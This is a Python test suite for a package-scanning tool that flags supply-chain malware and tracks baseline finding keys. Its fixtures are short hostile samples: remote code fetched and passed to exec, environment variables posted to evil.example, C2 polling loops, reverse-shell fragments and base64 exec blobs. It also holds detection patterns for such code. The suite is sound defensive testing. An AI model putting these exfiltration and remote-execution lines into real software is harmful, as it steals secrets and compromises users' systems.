findings = sp.check_py_file(benign, "pkg/_doc.py", "pkg")
|
|
assert findings == [], f"docstring IOCs should not flag: {[str(f) for f in findings]}"
|
|
# The same payload as real code still flags.
|
|
real = (
|
|
"import subprocess, urllib.request\n"
|
|
"subprocess.Popen(['sh','-c','id'])\n"
|
|
"exec(urllib.request.urlopen('http://evil/x').read())\n"
|
|
)
|
|
flagged = sp.check_py_file(real, "pkg/evil.py", "pkg")
|
|
assert any(f.severity in (sp.CRITICAL, sp.HIGH) for f in flagged)
|
|
|
|
|
|
def test_extract_evidence_multiline_reports_line():
|
|
# A cross-line DOTALL match must still yield evidence so the baseline entry is reviewable.
|
|
content = "a = 1\ntime.sleep(\n 600\n)\n"
|
|
ev = sp._extract_evidence(content, sp.RE_ANTI_ANALYSIS)
|
|
assert ev and ev.startswith("L"), ev
|
|
|
|
|
|
def test_anti_analysis_no_longer_flags_cross_platform_code():
|
|
# Pure cross-platform code (the old platform.system false positive) must be clean.
|
|
crossplat = (
|
|
"import platform, subprocess\n"
|
|
"if platform.system() == 'Windows':\n"
|
|
" subprocess.run(['where', 'git'])\n"
|
|
"else:\n"
|
|
" subprocess.run(['which', 'git'])\n"
|
|
)
|
|
findings = sp.check_py_file(crossplat, "pkg/_compat.py", "pkg")
|
|
anti = [f for f in findings if "Anti-analysis" in f.check]
|
|
assert anti == [], f"cross-platform code should not be anti-analysis: {anti}"
|
|
|
|
|
|
def test_proc_self_status_read_flags_anti_analysis():
|
|
# Reading /proc/self/status + a subprocess call is the classic anti-debug combo.
|
|
# The old `\b/proc/self/status\b` was unsatisfiable (\b adjacent to "/"); the
|
|
# lookbehind fix makes it fire. No TracerPid/ptrace token, so only /proc signals it.
|
|
payload = (
|
|
"import subprocess\n"
|
|
"with open('/proc/self/status') as fh:\n"
|
|
" data = fh.read()\n"
|
|
"subprocess.run(['echo', 'go'])\n"
|
|
)
|
|
findings = sp.check_py_file(payload, "pkg/_probe.py", "pkg")
|
|
anti = [f for f in findings if "Anti-analysis" in f.check]
|
|
assert anti, "reading /proc/self/status + subprocess must flag anti-analysis"
|
|
assert anti[0].severity == sp.HIGH
|
|
|
|
|
|
def test_proc_self_status_pattern_is_live():
|
|
# Common call forms; the leading \b made all of these unsatisfiable before the fix.
|
|
for s in (
|
|
'open("/proc/self/status")',
|
|
"cat /proc/self/status",
|
|
"path = '/proc/self/status'",
|
|
):
|
|
assert sp.RE_ANTI_ANALYSIS.search(s), s
|
|
# A bare cross-platform OS check must still NOT match anti-analysis.
|
|
assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
|
|
|
|
|
|
def _mk(
|
|
sev,
|
|
pkg,
|
|
fname,
|
|
check,
|
|
evidence = "evidence",
|
|
):
|
|
return sp.Finding(sev, pkg, fname, check, evidence)
|
|
|
|
|
|
def test_baseline_key_version_stable_but_path_specific():
|
|
a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")
|
|
b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
|
|
# Same package-relative path + same matched code across versions -> same key.
|
|
assert sp._finding_key(a) == sp._finding_key(b)
|
|
# Same basename in a different path -> different key (no over-suppression).
|
|
c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
|
|
assert sp._finding_key(a) != sp._finding_key(c)
|
|
|
|
|
|
def test_baseline_key_line_shift_stable_but_code_specific():
|
|
# The evidence hash strips ``L<NN>:`` markers, so a benign upstream edit that
|
|
# only shifts line numbers keeps the key stable...
|
|
base = _mk(
|
|
sp.CRITICAL,
|
|
"botocore",
|
|
"botocore/utils.py",
|
|
"Harvests environment variables/secrets AND makes network calls",
|
|
"Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies",
|
|
)
|
|
shifted = _mk(
|
|
sp.CRITICAL,
|
|
"botocore",
|
|
"botocore/utils.py",
|
|
"Harvests environment variables/secrets AND makes network calls",
|
|
"Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies",
|
|
)
|
|
assert sp._finding_key(base) == sp._finding_key(shifted)
|
|
# ...but a NEW payload in the same file/check (different matched code) does
|
|
# not inherit the suppression -- this is the supply-chain bypass we close.
|
|
malicious = _mk(
|
|
sp.CRITICAL,
|
|
"botocore",
|
|
"botocore/utils.py",
|
|
"Harvests environment variables/secrets AND makes network calls",
|
|
"Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
|
|
)
|
|
assert sp._finding_key(base) != sp._finding_key(malicious)
|
|
|
|
|
|
def test_extract_evidence_records_all_matches():
|
|
# The whole point of P1: a match appended after the first few must show up
|
|
# in the evidence, so it changes the key instead of riding the earlier ones.
|
|
src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6))
|
|
ev = sp._extract_evidence(src, sp.RE_NETWORK)
|
|
assert ev.count("requests.get(") == 6
|
|
|
|
|
|
def test_baseline_key_reopens_on_appended_match():
|
|
# A reviewed file already trips a check with several matches; a later exfil
|
|
# call appended to the same file/check must reopen the finding.
|
|
base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3))
|
|
payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"
|
|
base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK))
|
|
payload = _mk(
|
|
sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK)
|
|
)
|
|
assert sp._finding_key(base) != sp._finding_key(payload)
|
|
|
|
|
|
def test_baseline_key_inner_line_marker_is_not_stripped():
|
|
# Only the leading L<NN>: marker is dropped; an L<NN>: inside the matched
|
|
# code is part of the code, so changing it must reopen the finding...
|
|
a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'")
|
|
b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'")
|
|
assert sp._finding_key(a) != sp._finding_key(b)
|
|
# ...while only the leading marker (line number) changing stays stable.
|
|
c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'")
|
|
assert sp._finding_key(a) == sp._finding_key(c)
|
|
|
|
|
|
def test_baseline_key_indentation_is_significant():
|
|
# Moving a flagged line out of a guarded block (dedent) changes executable
|
|
# context, so the same code at a different indent must reopen the finding.
|
|
guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
|
|
top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
|
|
assert sp._finding_key(guarded) != sp._finding_key(top_level)
|
|
|
|
|
|
def test_canon_evidence_keeps_bitwise_or_in_a_span():
|
|
# ' | ' only delimits spans when it precedes an L<NN>: marker; a pipe inside
|
|
# matched code (bitwise OR, typing.Union) is code, so changing an operand
|
|
# must reopen the finding instead of deduping to the same key.
|
|
a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC")
|
|
b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL")
|
|
assert sp._finding_key(a) != sp._finding_key(b)
|
|
# The OR survives canonicalization as one span (not split on the pipe).
|
|
assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y"
|
|
|
|
|
|
def test_extract_evidence_caps_long_line_but_binds_tail():
|
|
# A long (e.g. minified) line is not dumped verbatim: the display is bounded to
|
|
# a prefix, but a sha256 of the full line is appended so a payload past the cut
|
|
# still changes the key instead of being silently clipped.
|
|
marker = "EXFIL_PAST_CAP"
|
|
pad = "# " + " " * 300
|
|
line = "requests.get('http://a') " + pad + marker
|
|
ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK)
|
|
assert marker not in ev # tail past the cap is not shown verbatim
|
|
assert "sha256:" in ev # but it is pinned by a digest
|
|
assert len(ev) < len(line) # bounded, not the whole minified line
|
|
base = sp._extract_evidence("requests.get('http://a') " + pad + "x\n", sp.RE_NETWORK)
|
|
assert sp._evidence_hash(ev) != sp._evidence_hash(base)
|
|
|
|
|
|
def test_extract_evidence_binds_call_continuation_past_12_lines():
|
|
# A matched call that stays open well beyond the old 12-line continuation cap
|
|
# still binds its later arguments: a changed body on a deep continuation line
|
|
# (here ~22 lines in) must reopen instead of riding the first 12 lines.
|
|
head = "requests.post('http://h',\n"
|
|
middle = "".join(f" opt{i} = ({i}),\n" for i in range(20))
|
|
old = head + middle + " data = {'x': 'old'},\n)\n"
|
|
new = head + middle + " data = {'x': 'evil'},\n)\n"
|
|
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
|
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
|
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
|
|
|
|
|
def test_logical_line_end_follows_backslash_continuation():
|
|
# A call split with an explicit backslash before the parenthesis must still
|
|
# bind the continuation line, so changing the URL on the next physical line
|
|
# reopens instead of returning at the zero-depth API line.
|
|
old = "requests.post \\\n ('http://old/x', data = 1)\n"
|
|
new = "requests.post \\\n ('http://evil/x', data = 1)\n"
|
|
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
|
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
|
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
|
|
|
|
|
def test_logical_line_end_blanks_multiline_triple_string():
|
|
# A ) inside a triple-quoted string argument must not close the call early; the
|
|
# data= after the closing triple-quote must still bind so a changed payload
|
|
# reopens (a per-line string blanker cannot mask a multi-line string).
|
|
old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n'
|
|
new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n'
|
|
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
|
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
|
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
|
|
|
|
|
def test_extract_evidence_binds_call_embedded_in_string():
|
|
# A call whose text lives INSIDE a triple-quoted string (a dropper embedding a
|
|
# setup.py payload) must still bind its argument lines. Blanking the multi-line
|
|
# string must not shrink the span below the legacy single-line view: the union
|
|
# of both views keeps the URL argument bound so a changed payload reopens.
|
|
src = (
|
|
'PAYLOAD = """\n'
|
|
"urllib.request.urlretrieve(\n"
|
|
' "http://evil/old.pyz",\n'
|
|
' "/tmp/x.pyz",\n'
|
|
")\n"
|
|
'"""\n'
|
|
)
|
|
eo = sp._extract_evidence(src, sp.RE_NETWORK)
|
|
en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK)
|
|
assert "L3" in eo # the URL argument line is bound, not just the API line
|
|
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
|
|
|
|
|
def test_extract_evidence_overflow_digest_is_line_shift_stable():
|
|
# The overflow digest canonicalizes (strips L<NN>: markers), so inserting an
|
|
# unrelated line above the overflow region does not change it (line-shift
|
|
# stability), while a real payload change inside the overflow still reopens.
|
|
n = sp._MAX_EVIDENCE_SPANS
|
|
src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5))
|
|
sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
|
|
e_a = sp._extract_evidence(src, sp.RE_NETWORK)
|
|
assert "more) sha256:" in e_a
|
|
e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK)
|
|
assert sha(e_a) == sha(e_shift) # a pure line shift does not change the digest
|
|
e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK)
|
|
assert sha(e_a) != sha(e_chg) # a real change in the overflow region reopens
|
|
|
|
|
|
def test_extract_evidence_overflow_is_streamed_and_bounded():
|
|
# Past the display cap the evidence streams overflow spans into one digest
|
|
# instead of materializing a rendered span per match, so a file with far more
|
|
# matches than the cap yields a bounded string (at most cap spans plus the
|
|
# "(+N more)" digest line) while N counts every overflow match and a change to
|
|
# an over-cap match still reopens.
|
|
n = sp._MAX_EVIDENCE_SPANS
|
|
src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500))
|
|
ev = sp._extract_evidence(src, sp.RE_NETWORK)
|
|
assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digests
|
|
assert "(+500 more)" in ev # every match past the cap is counted
|
|
# bounded: exactly cap rendered spans plus the single "(+N more)" marker
|
|
assert len(ev.split(" | ")) == n + 1
|
|
sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
|
|
chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK)
|
|
assert sha(ev) != sha(chg) # an over-cap payload change reopens
|
|
|
|
|
|
def test_extract_evidence_same_line_close_then_open_binds_call():
|
|
# A continued statement that closes on the same physical line that opens a
|
|
# flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket
|
|
# count, dropping the call's `(` so the scan would stop at the opener line.
|
|
# Order-aware counting keeps the opener, so the argument lines bind and a
|
|
# changed body on a continuation line reopens.
|
|
old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n"
|
|
new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n"
|
|
assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
|
|
sp._extract_evidence(new, sp.RE_NETWORK)
|
|
)
|
|
|
|
|
|
def test_extract_evidence_backslash_continued_string_binds_tail():
|
|
# A single-quoted string can continue across lines with a trailing backslash.
|
|
# The `)` inside that continued string on the next line must not be counted as
|
|
# code and close the call early, or a changed argument after it would not
|
|
# reopen. The blanker tracks the continuation so the whole call binds.
|
|
old = "requests.post('http://h\\\n/path)', data='old')\n"
|
|
new = "requests.post('http://h\\\n/path)', data='EVIL')\n"
|
|
assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
|
|
sp._extract_evidence(new, sp.RE_NETWORK)
|
|
)
|
|
|
|
|
|
def test_extract_evidence_long_call_tail_past_soft_cap_reopens():
|
|
# A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still
|
|
# followed to its real close under the hard limit, so a changed payload on a
|
|
# continuation line well past the soft cap reopens instead of riding the first
|
|
# _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap.
|
|
mid = "\n".join(f" opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20))
|
|
old = "requests.post(\n" + mid + "\n data='old',\n)\n"
|
|
new = "requests.post(\n" + mid + "\n data='EVIL',\n)\n"
|
|
assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
|
|
sp._extract_evidence(new, sp.RE_NETWORK)
|
|
)
|
|
|
|
|
|
def test_extract_evidence_fallback_line_numbers_are_correct():
|
|
# The DOTALL fallback maps match offsets to line numbers via precomputed
|
|
# newline offsets (bisect, not a quadratic content.count per match); guard that
|
|
# the mapping is exact so a cross-line match is recorded at its true line and a
|
|
# changed continuation reopens.
|
|
content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n"
|
|
e1 = sp._extract_evidence(content, sp.RE_C2_POLLING)
|
|
e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING)
|
|
assert "L3" in e1 # the while-True loop starts on line 3, not line 1
|
|
assert sp._evidence_hash(e1) != sp._evidence_hash(e2)
|
|
|
|
|
|
def test_large_js_bundle_pins_whole_content_when_other_finding_fires():
|
|
# A >100 KB JS bundle that also trips the hex-var obfuscation signature binds
|
|
# the whole bundle, so changing payload code elsewhere (obfuscation line
|
|
# unchanged) reopens rather than riding the matched signature line.
|
|
obf = "var _0xabcd = function(){};\n"
|
|
pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle bar
|
|
fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg")
|
|
fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg")
|
|
co = [f for f in fo if "hex-var obfuscation" in f.check][0]
|
|
cn = [f for f in fn if "hex-var obfuscation" in f.check][0]
|
|
assert "bundle-sha256:" in co.evidence
|
|
assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence)
|
|
|
|
|
|
def test_pth_catch_all_import_evidence_is_bounded_but_reopens():
|
|
# A large .pth made only of benign-looking imports is bounded in the evidence
|
|
# (prefix plus digest), not dumped in full, yet still reopens when an import
|
|
# line changes because the digest covers every line.
|
|
base = "".join(f"import mod{i}\n" for i in range(200))
|
|
fo = [
|
|
f
|
|
for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p")
|
|
if "executable import line" in f.check
|
|
]
|
|
fn = [
|
|
f
|
|
for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p")
|
|
if "executable import line" in f.check
|
|
]
|
|
assert fo and fn
|
|
assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base)
|
|
assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence)
|
|
|
|
|
|
def test_extract_evidence_records_all_multiline_matches():
|
|
# The DOTALL fallback must record every distinct cross-line match, so a second
|
|
# long-sleep appended below an already-flagged one reopens the finding.
|
|
one = "foo = time.sleep(\n 600\n)\n"
|
|
two = one + "bar = time.sleep(\n 900\n)\n"
|
|
ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS)
|
|
ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS)
|
|
assert ev2.count("time.sleep(") == 2 # both matches, not just the first
|
|
assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2)
|
|
|
|
|
|
def test_multiline_evidence_reopens_on_continuation_change():
|
|
# A DOTALL match records every line it spans, so changing the URL inside an
|
|
# already-flagged C2 loop (a continuation line) reopens the finding...
|
|
old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n"
|
|
new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n"
|
|
fo = _mk(
|
|
sp.CRITICAL,
|
|
"p",
|
|
"p/loop.py",
|
|
"C2 polling/beaconing loop detected",
|
|
sp._extract_evidence(old, sp.RE_C2_POLLING),
|
|
)
|
|
fn = _mk(
|
|
sp.CRITICAL,
|
|
"p",
|
|
"p/loop.py",
|
|
"C2 polling/beaconing loop detected",
|
|
sp._extract_evidence(new, sp.RE_C2_POLLING),
|
|
)
|
|
assert sp._finding_key(fo) != sp._finding_key(fn)
|
|
# ...while a benign line shift of the same loop stays stable.
|
|
shifted = _mk(
|
|
sp.CRITICAL,
|
|
"p",
|
|
"p/loop.py",
|
|
"C2 polling/beaconing loop detected",
|
|
sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING),
|
|
)
|
|
assert sp._finding_key(fo) == sp._finding_key(shifted)
|
|
|
|
|
|
def test_extract_evidence_bounds_pathological_multiline_span():
|
|
# A greedy DOTALL span is capped to its head line plus a digest of the rest,
|
|
# so evidence stays bounded while still binding the full match.
|
|
big = "vmware\n" + "x\n" * 50 + "detect\n"
|
|
ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS)
|
|
assert "sha256:" in ev and ev.count("\n") <= 1
|
|
|
|
|
|
def test_canon_evidence_keeps_duplicate_spans():
|
|
# A second identical matched line in a new code path must change the key, so
|
|
# an appended duplicate payload occurrence is not deduped to the same hash.
|
|
one = " requests.post(url, data=env)"
|
|
base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}")
|
|
dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}")
|
|
assert sp._finding_key(base) != sp._finding_key(dup)
|
|
|
|
|
|
def test_canon_evidence_does_not_strip_inner_marker_from_raw_code():
|
|
# Raw .pth evidence has no leading L<NN>: marker; an L<NN>:-looking substring
|
|
# inside the code must be kept, so changing the code before it reopens.
|
|
base = _mk(
|
|
sp.HIGH,
|
|
"p",
|
|
"p/x.pth",
|
|
".pth has 1 executable import line(s)",
|
|
"import os; note='L7: same_suffix'",
|
|
)
|
|
changed = _mk(
|
|
sp.HIGH,
|
|
"p",
|
|
"p/x.pth",
|
|
".pth has 1 executable import line(s)",
|
|
"import urllib.request; note='L7: same_suffix'",
|
|
)
|
|
assert sp._finding_key(base) != sp._finding_key(changed)
|
|
|
|
|
|
def test_capped_multiline_digest_is_line_shift_stable():
|
|
# A span over the cap is digested from markerless code, so a pure line shift
|
|
# of the same span stays stable while a code change still reopens.
|
|
src = (
|
|
"while True:\n"
|
|
+ " x = 1\n" * 20
|
|
+ " time.sleep(60)\n requests.get('http://old.example/poll')\n"
|
|
)
|
|
e1 = sp._extract_evidence(src, sp.RE_C2_POLLING)
|
|
e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING)
|
|
assert "sha256:" in e1 # span exceeded the cap
|
|
assert sp._evidence_hash(e1) == sp._evidence_hash(e2)
|
|
changed = src.replace("http://old.example/poll", "http://evil.example/c2")
|
|
assert sp._evidence_hash(e1) != sp._evidence_hash(
|
|
sp._extract_evidence(changed, sp.RE_C2_POLLING)
|
|
)
|
|
|
|
|
|
def test_canon_evidence_strips_punctuation_label_marker():
|
|
# A label with punctuation (network+exec:) must still be stripped, so the
|
|
# line number alone does not change the key.
|
|
a = "network+exec: L12: subprocess.run(['id'])"
|
|
b = "network+exec: L99: subprocess.run(['id'])"
|
|
assert sp._evidence_hash(a) == sp._evidence_hash(b)
|
|
|
|
|
|
def test_extract_evidence_binds_call_continuation_lines():
|
|
# A multi-line network call binds its argument lines, so a changed URL on a
|
|
# continuation line reopens even though the line with the API name is unchanged.
|
|
old = "requests.post(\n 'http://old.example',\n data=env,\n)\n"
|
|
new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n"
|
|
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
|
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
|
assert "old.example" in eo and "evil.example" in en
|
|
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
|
|
|
|
|
def test_extract_evidence_records_multiline_after_oneline():
|
|
# A one-line C2 match no longer suppresses a later multi-line C2 loop: the
|
|
# appended cross-line construct is recorded too, so it cannot ride the key.
|
|
oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n"
|
|
appended = oneline + "while True:\n time.sleep(30)\n requests.get('http://evil/c2')\n"
|
|
eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING)
|
|
ea = sp._extract_evidence(appended, sp.RE_C2_POLLING)
|
|
assert "evil" in ea
|
|
assert sp._evidence_hash(eo) != sp._evidence_hash(ea)
|
|
|
|
|
|
def test_extract_evidence_giant_span_binds_full_interior():
|
|
# A giant greedy DOTALL span bridging anchors across the whole file is bound by
|
|
# a digest of its full content (not just the outer anchors), so a cross-line
|
|
# payload inserted into the bridged interior between unchanged outer anchors
|
|
# reopens instead of riding the key. (Binding only head/tail would fail open on
|
|
# an interior insertion.) A pure line shift still stays stable.
|
|
gap = "\n".join(f" x = {i}" for i in range(70))
|
|
base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"
|
|
# interior insertion of a cross-line payload between the unchanged outer anchors
|
|
injected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)")
|
|
ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL)
|
|
ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL)
|
|
assert "sha256:" in ea # full interior bound by a digest
|
|
assert sp._evidence_hash(ea) != sp._evidence_hash(ei) # interior change reopens
|
|
shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL)
|
|
assert sp._evidence_hash(ea) == sp._evidence_hash(shifted) # pure shift stable
|
|
|
|
|
|
def test_extract_evidence_giant_span_appended_payload_reopens():
|
|
# The anchor binding must reopen when an appended cross-line payload extends the
|
|
# bridged span past the cap: an existing one-line /tmp+subprocess finding plus a
|
|
# NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no
|
|
# single line so the per-line pass never binds them) moves the span's tail
|
|
# anchor, so the evidence changes instead of riding the unchanged key.
|
|
existing = "import os\n/tmp/x; subprocess.run(['id'])\n"
|
|
gap = "\n".join(f" pad{i} = {i}" for i in range(65))
|
|
appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n"
|
|
base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC)
|
|
app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC)
|
|
assert sp._evidence_hash(base) != sp._evidence_hash(app)
|
|
# a pure line shift of the same payload does not reopen
|
|
shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC)
|
|
assert sp._evidence_hash(app) == sp._evidence_hash(shifted)
|
|
|
|
|
|
def test_hidden_payload_binds_visible_exec_trigger():
|
|
# The hidden-payload finding binds the visible exec/eval line that makes the
|
|
# docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which
|
|
# now runs the same hidden network+exec payload) reopens instead of riding the
|
|
# key on the unchanged hidden text.
|
|
hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n'
|
|
benign = hidden + 'eval("1+1")\n'
|
|
armed = hidden + "exec(__doc__)\n"
|
|
|
|
def key(src):
|
|
return [
|
|
sp._finding_key(f)
|
|
for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p")
|
|
if "hidden network+exec" in f.check
|
|
][0]
|
|
|
|
assert key(benign) != key(armed)
|
|
|
|
|
|
def test_js_finding_pins_full_content_digest():
|
|
# A JS finding pins the full file content digest, so a backtick template literal
|
|
# that closes the bracket span early cannot let later option/body lines change
|
|
# without reopening (the Python-string-aware extractor would otherwise omit
|
|
# them). Holds for small files too, not just large bundles.
|
|
old = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'OLD'})\n"
|
|
new = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'EVIL'})\n"
|
|
fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0]
|
|
fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0]
|
|
assert "bundle-sha256:" in fo.evidence
|
|
assert sp._finding_key(fo) != sp._finding_key(fn)
|
|
|
|
|
|
def test_extract_evidence_binds_moderate_appended_dotall_span():
|
|
# A multi-line construct appended under a check that already has a one-line
|
|
# match is still recorded when it is not a giant whole-file bridge, so its
|
|
# payload reopens instead of riding the old one-line match.
|
|
one = "while True: time.sleep(60); requests.get('http://a/poll')\n"
|
|
gap = "\n".join(f" x = {i}" for i in range(20))
|
|
old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n"
|
|
new = one + "while True:\n" + gap + "\n requests.get('http://evil/c2')\n"
|
|
eo = sp._extract_evidence(old, sp.RE_C2_POLLING)
|
|
en = sp._extract_evidence(new, sp.RE_C2_POLLING)
|
|
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
|
|
|
|
|
def test_canon_evidence_reorder_reopens():
|
|
# Reordering matched lines changes executable context, so the key reopens
|
|
# (the canon preserves discovery order rather than sorting).
|
|
a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()"
|
|
b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)"
|
|
assert sp._evidence_hash(a) != sp._evidence_hash(b)
|
|
|
|
|
|
def test_logical_line_end_ignores_brackets_in_strings():
|
|
# A ) inside a string argument must not close the call early, so later
|
|
# argument lines still bind and a changed payload there reopens.
|
|
old = "requests.post('http://h/p)',\n data=secret_old,\n)\n"
|
|
new = "requests.post('http://h/p)',\n data=secret_new,\n)\n"
|
|
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
|
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
|
assert "data=secret_old" in eo
|
|
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
|
|
|
|
|
def test_base64_exec_blob_finding_binds_every_blob():
|
|
# The base64+exec+blob finding digests every blob, so appending a second
|
|
# encoded payload reopens even when the first blob and decode line are unchanged.
|
|
head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n"
|
|
old = head
|
|
new = head + "blob2 = '" + "B" * 220 + "'\n"
|
|
fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check]
|
|
fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check]
|
|
assert fo and fn
|
|
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
|
|
|
|
|
def test_pth_large_blob_finding_binds_every_blob():
|
|
# The .pth large-blob finding digests every blob, so appending a second
|
|
# encoded payload reopens rather than riding the unchanged first blob.
|
|
old = "import os\n" + "X" * 220 + "\n"
|
|
new = old + "Y" * 220 + "\n"
|
|
fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check]
|
|
fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check]
|
|
assert fo and fn
|
|
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
|
|
|
|
|
def test_pth_unusually_large_finding_is_content_bound():
|
|
# Two different payloads of equal size and import count must get different
|
|
# keys: the finding now pins the .pth content via a digest.
|
|
a = [
|
|
f
|
|
for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p")
|
|
if f.check.startswith("Unusually large executable .pth")
|
|
]
|
|
b = [
|
|
f
|
|
for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p")
|
|
if f.check.startswith("Unusually large executable .pth")
|
|
]
|
|
assert a and b
|
|
